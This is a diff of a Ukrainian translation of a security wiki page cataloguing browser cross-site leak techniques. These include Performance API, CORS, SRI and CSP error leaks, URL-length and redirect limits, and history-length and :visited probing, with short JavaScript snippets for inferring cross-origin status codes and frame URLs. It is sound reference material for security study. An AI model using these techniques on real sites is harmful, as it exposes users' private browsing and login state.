для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записи в Performance API, що розкриває метод, за допомогою якого чутлива інформація може все ще бути витікана.
### X-Frame Leak ### X-Frame Leak
@ -340,15 +340,15 @@ xs-search/connection-pool-example.md
- **Summary:** Ресурс з заголовком X-Frame-Options не створює запису часу ресурсів. - **Summary:** Ресурс з заголовком X-Frame-Options не створює запису часу ресурсів.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Якщо сторінка **не дозволена** бути **відображеною** в **iframe**, вона **не створює запису продуктивності**. Як результат, зловмисник може виявити заголовок відповіді **`X-Frame-Options`**.\ Якщо сторінка **не дозволена** бути **рендереною** в **iframe**, вона не створює запису продуктивності. Як результат, зловмисник може виявити заголовок відповіді **`X-Frame-Options`**.\
Те ж саме відбувається, якщо ви використовуєте **тег embed**. Те ж саме відбувається, якщо ви використовуєте **embed** **тег.**
### Download Detection ### Download Detection
- **Inclusion Methods**: Frames - **Inclusion Methods**: Frames
- **Detectable Difference**: Header - **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Завантаження не створюють записи часу ресурсів у Performance API. - **Summary:** Завантаження не створює записи часу ресурсів у Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Подібно до описаного XS-Leak, **ресурс, який завантажується** через заголовок ContentDisposition, також **не створює запису продуктивності**. Ця техніка працює у всіх основних браузерах. Подібно до описаного XS-Leak, **ресурс, який завантажується** через заголовок ContentDisposition, також **не створює запису продуктивності**. Ця техніка працює у всіх основних браузерах.
@ -361,7 +361,7 @@ xs-search/connection-pool-example.md
- **Summary:** Запис часу ресурсів витікає час початку перенаправлення. - **Summary:** Запис часу ресурсів витікає час початку перенаправлення.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для крос-доменних запитів. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменних ресурсів. Однак у **SA** можливо виявити, чи користувач **перенаправлений** цільовою сторінкою, запитуючи **Performance API** та перевіряючи **дані часу redirectStart**. Ми знайшли один випадок XS-Leak, який зловживає поведінкою деяких браузерів, які реєструють занадто багато інформації для крос-доменної запитів. Стандарт визначає підмножину атрибутів, які повинні бути встановлені на нуль для крос-доменної ресурсів. Однак у **SA** можливо виявити, чи користувач **перенаправлений** цільовою сторінкою, запитуючи **Performance API** і перевіряючи дані про **redirectStart timing**.
### Duration Redirect Leak ### Duration Redirect Leak
@ -391,7 +391,7 @@ xs-search/connection-pool-example.md
- **Summary:** Виявлення, чи зареєстровано сервісний працівник для конкретного джерела. - **Summary:** Виявлення, чи зареєстровано сервісний працівник для конкретного джерела.
- **Code Example**: - **Code Example**:
Сервісні працівники є контекстами скриптів, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та **кешувати ресурси**, щоб створити офлайн веб-додаток.\ Сервісні працівники є контекстами скриптів, що реагують на події, які працюють на джерелі. Вони працюють у фоновому режимі веб-сторінки та можуть перехоплювати, змінювати та **кешувати ресурси** для створення офлайн веб-додатків.\
Якщо **ресурс, кешований** **сервісним працівником**, доступний через **iframe**, ресурс буде **завантажено з кешу сервісного працівника**.\ Якщо **ресурс, кешований** **сервісним працівником**, доступний через **iframe**, ресурс буде **завантажено з кешу сервісного працівника**.\
Щоб виявити, чи ресурс був **завантажений з кешу сервісного працівника**, можна використовувати **Performance API**.\ Щоб виявити, чи ресурс був **завантажений з кешу сервісного працівника**, можна використовувати **Performance API**.\
Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації). Це також можна зробити за допомогою атаки на час (перевірте статтю для отримання додаткової інформації).
@ -421,7 +421,7 @@ xs-search/connection-pool-example.md
- **Inclusion Methods**: HTML Elements (Video, Audio) - **Inclusion Methods**: HTML Elements (Video, Audio)
- **Detectable Difference**: Status Code - **Detectable Difference**: Status Code
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265) - **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
- **Summary:** У Firefox можливо точно витікати статус-код крос-доменного запиту. - **Summary:** У Firefox можливо точно витікати статус-код крос-доменної запиту.
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output) - **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
```javascript ```javascript
// Code saved here in case it dissapear from the link // Code saved here in case it dissapear from the link
@ -470,7 +470,7 @@ err.message +
audioElement.onerror = errHandler audioElement.onerror = errHandler
} }
``` ```
Інтерфейс `MediaError` має властивість message, яка унікально ідентифікує ресурси, що завантажуються успішно, з відмінним рядком. Зловмисник може використовувати цю функцію, спостерігаючи за вмістом повідомлення, тим самим виводячи статус відповіді крос-доменного ресурсу. Інтерфейс `MediaError` має властивість message, яка унікально ідентифікує ресурси, що завантажуються успішно, з відмінним рядком. Зловмисник може експлуатувати цю функцію, спостерігаючи за вмістом повідомлення, тим самим виводячи статус відповіді крос-доменного ресурсу.
### CORS Error ### CORS Error
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
- **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів. - **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
- **Приклад коду**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Ця техніка дозволяє зловмиснику **витягувати місце призначення перенаправлення крос-доменного сайту**, експлуатуючи те, як браузери на базі Webkit обробляють запити CORS. Конкретно, коли **запит з підтримкою CORS** надсилається на цільовий сайт, який видає перенаправлення на основі стану користувача, а браузер потім відмовляє в запиті, **повна URL-адреса цілі перенаправлення** розкривається в повідомленні про помилку. Ця вразливість не тільки розкриває факт перенаправлення, але й виявляє кінцеву точку перенаправлення та будь-які **чутливі параметри запиту**, які вона може містити. Ця техніка дозволяє зловмиснику **витягувати місце призначення перенаправлення крос-доменного сайту**, експлуатуючи те, як браузери на базі Webkit обробляють запити CORS. Конкретно, коли **CORS-увімкнений запит** надсилається на цільовий сайт, який видає перенаправлення на основі стану користувача, а браузер потім відмовляє у запиті, **повна URL-адреса цілі перенаправлення** розкривається в повідомленні про помилку. Ця вразливість не тільки розкриває факт перенаправлення, але й виявляє кінцеву точку перенаправлення та будь-які **чутливі параметри запиту**, які вона може містити.
### SRI Error ### SRI Error
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
- **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів. - **Резюме:** У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повну URL-адресу перенаправлених запитів.
- **Приклад коду**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Зловмисник може використовувати **докладні повідомлення про помилки** для виведення розміру відповідей крос-доменів. Це можливо завдяки механізму цілісності підресурсів (SRI), який використовує атрибут цілісності для перевірки того, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменных ресурсах, вони повинні бути **CORS-увімкнені**; в іншому випадку вони не підлягають перевіркам цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит на отримання з атрибутом цілісності не вдається. Зловмисники можуть навмисно **викликати цю помилку**, призначивши **фальшиве значення хешу** для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak. Зловмисник може експлуатувати **докладні повідомлення про помилки**, щоб вивести розмір відповідей крос-доменно. Це можливо завдяки механізму цілісності підресурсів (SRI), який використовує атрибут цілісності для перевірки того, що ресурси, які завантажуються, часто з CDN, не були підроблені. Щоб SRI працював на крос-доменных ресурсах, вони повинні бути **CORS-увімкненими**; в іншому випадку вони не підлягають перевіркам цілісності. У Security Assertions (SA), подібно до помилки CORS XS-Leak, повідомлення про помилку може бути захоплене після того, як запит на отримання з атрибутом цілісності не вдається. Зловмисники можуть навмисно **викликати цю помилку**, призначивши **фальшиве значення хешу** для атрибута цілісності будь-якого запиту. У SA результуюче повідомлення про помилку ненавмисно розкриває довжину вмісту запитуваного ресурсу. Ця витік інформації дозволяє зловмиснику розрізняти варіації в розмірі відповіді, прокладаючи шлях для складних атак XS-Leak.
### CSP Violation/Detection ### CSP Violation/Detection
@ -513,7 +513,7 @@ XS-Leak може використовувати CSP для виявлення,
Браузери можуть використовувати один спільний кеш для всіх веб-сайтів. Незалежно від їх походження, можливо вивести, чи цільова сторінка **запитувала конкретний файл**. Браузери можуть використовувати один спільний кеш для всіх веб-сайтів. Незалежно від їх походження, можливо вивести, чи цільова сторінка **запитувала конкретний файл**.
Якщо сторінка завантажує зображення лише якщо користувач увійшов, ви можете **анулювати** **ресурс** (щоб він більше не кешувався, якщо це було, див. посилання з додатковою інформацією), **виконати запит**, який може завантажити цей ресурс, і спробувати завантажити ресурс **з поганим запитом** (наприклад, використовуючи надто довгий заголовок referer). Якщо завантаження ресурсу **не викликало жодної помилки**, це означає, що він був **кешований**. Якщо сторінка завантажує зображення лише якщо користувач увійшов, ви можете **анулювати** **ресурс** (щоб він більше не кешувався, якщо це було, див. посилання з додатковою інформацією), **виконати запит**, який може завантажити цей ресурс, і спробувати завантажити ресурс **з неправильним запитом** (наприклад, використовуючи надто довгий заголовок referer). Якщо завантаження ресурсу **не викликало жодної помилки**, це означає, що він був **кешований**.
### CSP Directive ### CSP Directive
@ -523,127 +523,24 @@ XS-Leak може використовувати CSP для виявлення,
- **Резюме:** Директиви заголовка CSP можна перевірити за допомогою атрибута iframe CSP, розкриваючи деталі політики. - **Резюме:** Директиви заголовка CSP можна перевірити за допомогою атрибута iframe CSP, розкриваючи деталі політики.
- **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Нова функція в Google Chrome (GC) дозволяє веб-сторінкам **пропонувати політику безпеки контенту (CSP)**, встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен **авторизувати це через HTTP-заголовок**, або **відображається сторінка помилки**. Однак, якщо iframe вже регулюється CSP, а нова запропонована політика не є більш обмежувальною, сторінка завантажиться нормально. Цей механізм відкриває шлях для зловмисника **виявити конкретні директиви CSP** крос-доменної сторінки, ідентифікуючи сторінку помилки. Хоча ця вразливість була позначена як виправлена, наші знахідки виявляють **нову техніку витоку**, здатну виявити сторінку помилки, що свідчить про те, що основна проблема ніколи не була повністю вирішена. Нова функція в Google Chrome (GC) дозволяє веб-сторінкам **пропонувати політику безпеки контенту (CSP)**, встановлюючи атрибут на елементі iframe, з директивами політики, що передаються разом з HTTP-запитом. Зазвичай вбудований вміст повинен **авторизувати це через HTTP-заголовок**, або **відображається сторінка з помилкою**. Однак, якщо iframe вже регулюється CSP, а нова запропонована політика не є більш обмежувальною, сторінка завантажиться нормально. Цей механізм відкриває шлях для зловмисника **виявити конкретні директиви CSP** крос-доменної сторінки, ідентифікуючи сторінку з помилкою. Хоча ця вразливість була позначена як виправлена, наші знахідки виявляють **нову техніку витоку**, здатну виявити сторінку з помилкою, що свідчить про те, що основна проблема ніколи не була повністю вирішена.
### **CORP** ### **CORP**
- **Методи включення**: Fetch API - **Методи включення**: Fetch API
- **Виявна різниця**: Заголовок - **Виявна різниця**: Заголовок
- **Більше інформації**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/) - **Більше інформації**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Резюме:** Ресурси, захищені політикою ресурсів крос-доменів (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження. - **Резюме:** Ресурси, захищені політикою ресурсів крос-доменного доступу (CORP), викликатимуть помилку, коли їх запитують з недозволеного походження.
- **Приклад коду**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak) - **Приклад коду**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, **блокує запити крос-доменів без CORS до даного ресурсу**. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, **викликатиме помилку при запиті**. Заголовок CORP є відносно новою функцією безпеки веб-платформи, яка, коли встановлена, **блокує запити крос-доменного доступу до даного ресурсу**. Присутність заголовка можна виявити, оскільки ресурс, захищений CORP, **викликатиме помилку при запиті**.
### CORB ### CORB
- **Методи включення**: HTML-елементи - **Методи включення**: HTML-елементи
- **Виявна різниця**: Заголовки - **Виявна різниця**: Заголовки
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header) - **Більше інформації**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Резюме**: CORB може дозволити зловмисникам виявити, коли **заголовок `nosniff` присутній** у запиті. - **Резюме**
- **Приклад коду**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Перевірте посилання для отримання додаткової інформації про атаку.
### CORS error on Origin Reflection misconfiguration <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
- **Методи включення**: Fetch API
- **Виявна різниця**: Заголовки
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Резюме**: Якщо заголовок Origin відображається в заголовку `Access-Control-Allow-Origin`, можливо перевірити, чи ресурс вже в кеші.
- **Приклад коду**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
У випадку, якщо **заголовок Origin** **відображається** в заголовку `Access-Control-Allow-Origin`, зловмисник може зловживати цією поведінкою, намагаючись **отримати** **ресурс** в **CORS** режимі. Якщо **помилка** **не викликана**, це означає, що він був **правильно отриманий з вебу**, якщо помилка **викликана**, це тому, що він був **доступний з кешу** (помилка з'являється, оскільки кеш зберігає відповідь з заголовком CORS, що дозволяє оригінальному домену, а не домену зловмисника)**.**\
Зверніть увагу, що якщо походження не відображається, але використовується символ підстановки (`Access-Control-Allow-Origin: *`), це не спрацює.
## Техніка читабельних атрибутів
### Fetch Redirect
- **Методи включення**: Fetch API
- **Виявна різниця**: Код статусу
- **Більше інформації**: [https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html)
- **Резюме:** GC та SA дозволяють перевірити тип відповіді (opaque-redirect) після завершення перенаправлення.
- **Приклад коду**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
Надсилаючи запит за допомогою Fetch API з `redirect: "manual"` та іншими параметрами, можливо прочитати атрибут `response.type`, і якщо він дорівнює `opaqueredirect`, то відповідь була перенаправленням.
### COOP
- **Методи включення**: Вікна
- **Виявна різниця**: Заголовок
- **Більше інформації**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **Резюме:** Сторінки, захищені політикою відкривача крос-доменів (COOP), запобігають доступу з крос-доменної взаємодії.
- **Приклад коду**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
Зловмисник здатний вивести наявність заголовка політики відкривача крос-доменів (COOP) у крос-доменної HTTP-відповіді. COOP використовується веб-додатками для запобігання зовнішнім сайтам отримувати довільні посилання на вікна. Видимість цього заголовка можна виявити, намагаючись отримати **посилання `contentWindow`**. У ситуаціях, коли COOP застосовується умовно, **властивість `opener`** стає показником: вона **невизначена**, коли COOP активний, і **визначена** у його відсутності.
### URL Max Length - Server Side
- **Методи включення**: Fetch API, HTML-елементи
- **Виявна різниця**: Код статусу / Вміст
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою, що сервер відповідає з помилкою, і генерується сповіщення.
- **Приклад коду**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
Якщо перенаправлення на стороні сервера використовує **вхідні дані користувача всередині перенаправлення** та **додаткові дані**. Можливо виявити цю поведінку, оскільки зазвичай **сервера** мають **обмеження на довжину запиту**. Якщо **дані користувача** мають **довжину - 1**, оскільки **перенаправлення** використовує **ці дані** та **додає** щось **додаткове**, це викличе **помилку, що виявляється через події помилок**.
Якщо ви зможете якимось чином встановити куки для користувача, ви також можете виконати цю атаку, **встановивши достатню кількість куків** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)), так що з **збільшенням розміру відповіді** **правильної відповіді** викликається **помилка**. У цьому випадку пам'ятайте, що якщо ви викликаєте цей запит з одного й того ж сайту, `<script>` автоматично надішле куки (тому ви можете перевірити на помилки).\
Приклад **cookie bomb + XS-Search** можна знайти в запланованому рішенні цього звіту: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` або бути в тому ж контексті зазвичай потрібно для цього типу атаки.
### URL Max Length - Client Side
- **Методи включення**: Вікна
- **Виявна різниця**: Код статусу / Вміст
- **Більше інформації**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Резюме:** Виявлення різниць у відповідях, оскільки довжина відповіді перенаправлення може бути занадто великою для запиту, що дозволяє помітити різницю.
- **Приклад коду**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Згідно з [документацією Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), максимальна довжина URL у Chrome становить 2 МБ.
> Загалом, еб-платформа_ не має обмежень на довжину URL (хоча 2^31 є поширеним обмеженням). _Chrome_ обмежує URL до максимальної довжини **2 МБ** з практичних причин і щоб уникнути проблем з відмовою в обслуговуванні в міжпроцесному спілкуванні.
Отже, якщо **перенаправлений URL відповідає більше в одному з випадків**, можливо зробити так, щоб він перенаправляв з **URL, більшим за 2 МБ**, щоб досягти **обмеження довжини**. Коли це трапляється, Chrome показує сторінку **`about:blank#blocked`**.
**Помітна різниця** полягає в тому, що якщо **перенаправлення** було **завершено**, `window.origin` викликає **помилку**, оскільки крос-домен не може отримати цю інформацію. Однак, якщо **обмеження** було \*\*\*\* досягнуто, і завантажена сторінка була **`about:blank#blocked`**, **`origin`** вікна залишається таким, як у **батьківському**, що є **доступною інформацією.**
Вся додаткова інформація, необхідна для досягнення **2 МБ**, може бути додана через **хеш** в початковому URL, щоб вона була **використана в перенаправленні**.
{{#ref}}
xs-search/url-max-length-client-side.md
{{#endref}}
### Max Redirects
- **Методи включення**: Fetch API, Фрейми
- **Виявна різниця**: Код статусу
- **Більше інформації**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Резюме:** Використовуйте обмеження перенаправлень браузера, щоб визначити наявність перенаправлень URL.
- **Приклад коду**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
Якщо **максимальна** кількість **перенаправлень**, які потрібно слідувати в браузері, становить **20**, зловмисник може спробувати завантажити свою сторінку з **19 перенаправленнями** і нарешті **надіслати жертву** на перевірену сторінку. Якщо **помилка** викликана, це означає, що сторінка намагалася **перенаправити жертву**.
### History Length
- **Методи включення**: Фрейми, Вікна
- **Виявна різниця**: Перенаправлення
- **Більше інформації**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **Резюме:** Код JavaScript маніпулює історією браузера і може бути доступний через властивість length.
- **Приклад коду**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**History API** дозволяє коду JavaScript маніпулювати історією браузера, яка **зберігає сторінки, відвідані користувачем**. Зловмисник може використовувати властивість length як метод включення: для виявлення навігації JavaScript та HTML.\
**Перевіряючи `history.length`**, змушуючи користувача **перейти** на сторінку, **повернути** її **назад** до того ж походження і **перевіряючи** нове значення **`history.length`**.
### History Length with same URL
- **Методи включення**: Фрейми, Вікна
- **Виявна різниця**: Якщо URL такий же, як вгаданий
- **Резюме:** Можливо вгадати, чи знаходиться місце розташування фрейма/вікна на конкретному URL, зловживаючи довжиною історії.
- **Приклад коду**: Нижче
Зловмисник може використовувати код JavaScript, щоб **маніпулювати місцем розташування фрейма/вікна на вгадане** і **негайно** **змінити його на `about:blank`**. Якщо довжина історії збільшилася, це означає, що URL був правильним, і у нього був час **збільшитися, оскільки URL не перезавантажується, якщо він той же**. Якщо не збільшилася, це означає, що він **намагався завантажити вгаданий URL**, але тому що ми **негайно після** завантажили **`about:blank`**, **довжина історії ніколи не збільшилася** під час завантаження вгаданого URL.
```javascript ```javascript
async function debug(win, url) { async function debug(win, url) {
win.location = url + "#aaa" win.location = url + "#aaa"
@ -696,7 +593,7 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Inclusion Methods**: HTML Elements - **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content - **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html) - **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** Визначення варіацій у стилі веб-сайту, які корелюють зі станом або статусом користувача. - **Summary:** Визначити варіації в стилі веб-сайту, які корелюють зі станом або статусом користувача.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak) - **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
Веб-додатки можуть змінювати **стиль веб-сайту в залежності від статусу користувача**. CSS файли з крос-доменом можуть бути вбудовані на сторінці зловмисника за допомогою **HTML link element**, і **правила** будуть **застосовані** до сторінки зловмисника. Якщо сторінка динамічно змінює ці правила, зловмисник може **виявити** ці **різниці** в залежності від стану користувача.\ Веб-додатки можуть змінювати **стиль веб-сайту в залежності від статусу користувача**. CSS файли з крос-доменом можуть бути вбудовані на сторінці зловмисника за допомогою **HTML link element**, і **правила** будуть **застосовані** до сторінки зловмисника. Якщо сторінка динамічно змінює ці правила, зловмисник може **виявити** ці **різниці** в залежності від стану користувача.\
@ -713,11 +610,11 @@ console.log(await debug(win, "https://example.com/?a=b"))
> [!NOTE] > [!NOTE]
> Згідно з [**цим**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), це не працює в headless Chrome. > Згідно з [**цим**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/), це не працює в headless Chrome.
CSS селектор `:visited` використовується для стилізації URL по-різному, якщо вони були раніше відвідані користувачем. У минулому метод `getComputedStyle()` міг бути використаний для виявлення цих стильових відмінностей. Однак сучасні браузери впровадили заходи безпеки, щоб запобігти цьому методу від розкриття стану посилання. Ці заходи включають завжди повернення обчисленого стилю так, ніби посилання було відвідане, і обмеження стилів, які можуть бути застосовані за допомогою селектора `:visited`. CSS селектор `:visited` використовується для стилізації URL по-різному, якщо вони були раніше відвідані користувачем. У минулому метод `getComputedStyle()` можна було використовувати для виявлення цих стильових відмінностей. Однак сучасні браузери впровадили заходи безпеки, щоб запобігти цьому методу від розкриття стану посилання. Ці заходи включають завжди повернення обчисленого стилю так, ніби посилання було відвідане, і обмеження стилів, які можуть бути застосовані за допомогою селектора `:visited`.
Незважаючи на ці обмеження, можливо непрямо розпізнати стан відвідування посилання. Одна з технік полягає в тому, щоб обманом змусити користувача взаємодіяти з областю, що підлягає CSS, зокрема використовуючи властивість `mix-blend-mode`. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи стан відвідування на основі взаємодії користувача. Незважаючи на ці обмеження, можливо непрямо розпізнати стан відвідування посилання. Одна з технік полягає в тому, щоб обманути користувача, змусивши його взаємодіяти з областю, що підлягає CSS, зокрема використовуючи властивість `mix-blend-mode`. Ця властивість дозволяє змішувати елементи з їх фоном, потенційно розкриваючи стан відвідування на основі взаємодії користувача.
Крім того, виявлення може бути досягнуто без взаємодії користувача, експлуатуючи часи рендерингу посилань. Оскільки браузери можуть рендерити відвідані та не відвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) був згаданий у звіті про помилку Chromium, демонструючи цю техніку, використовуючи кілька посилань для посилення різниці в часі, тим самим роблячи стан відвідування виявленим через аналіз часу. Крім того, виявлення може бути досягнуто без взаємодії користувача, експлуатуючи часи рендерингу посилань. Оскільки браузери можуть рендерити відвідані та невідвідані посилання по-різному, це може ввести вимірювальну різницю в часі рендерингу. Доказ концепції (PoC) згадувався в звіті про помилку Chromium, демонструючи цю техніку, використовуючи кілька посилань для посилення різниці в часі, тим самим роблячи стан відвідування виявленим через аналіз часу.
Для отримання додаткових деталей про ці властивості та методи відвідайте їх сторінки документації: Для отримання додаткових деталей про ці властивості та методи відвідайте їх сторінки документації:
@ -749,13 +646,13 @@ CSS селектор `:visited` використовується для стил
- Коли файл завантажується в браузерах на основі Chromium, панель завантаження з'являється внизу вікна браузера. - Коли файл завантажується в браузерах на основі Chromium, панель завантаження з'являється внизу вікна браузера.
- Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційоване. - Моніторячи зміни у висоті вікна, зловмисники можуть зробити висновок про появу панелі завантаження, що свідчить про те, що завантаження було ініційоване.
2. **Навігація завантаження з iframe**: 2. **Навігація завантаження з iframe**:
- Коли сторінка викликає завантаження файлу за допомогою заголовка `Content-Disposition: attachment`, це не викликає подію навігації. - Коли сторінка викликає завантаження файлу, використовуючи заголовок `Content-Disposition: attachment`, це не викликає подію навігації.
- Завантажуючи вміст в iframe та моніторячи події навігації, можна перевірити, чи призводить вміст до завантаження файлу (немає навігації) чи ні. - Завантажуючи вміст в iframe та моніторячи події навігації, можна перевірити, чи викликає вміст завантаження файлу (без навігації) чи ні.
3. **Навігація завантаження без iframe**: 3. **Навігація завантаження без iframe**:
- Подібно до техніки iframe, цей метод передбачає використання `window.open` замість iframe. - Подібно до техніки iframe, цей метод передбачає використання `window.open` замість iframe.
